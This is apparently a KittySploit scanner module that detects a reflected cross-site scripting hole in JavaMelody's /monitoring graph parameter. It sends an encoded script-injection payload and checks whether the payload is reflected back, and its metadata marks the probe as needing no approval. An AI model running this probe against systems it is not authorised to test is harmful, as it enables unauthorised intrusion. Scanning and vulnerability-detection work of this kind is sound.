JavaMelody - Cross-Site Scripting Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'JavaMelody - Cross-Site Scripting Detection',
'description': 'JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter. An attacker can execute arbitrary script in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'vulnerability', 'xss', 'javamelody', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/Hurdano/JavaMelody-XSS',
'https://github.com/javamelody/javamelody/pull/555',
],
}
def run(self):
r = self.http_request(method="GET", path='/monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('</script><script>alert(document.domain)</script>',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(
severity='high',
reason="JavaMelody - Cross-Site Scripting detected",
path='/monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E',
)
return True
return False
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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6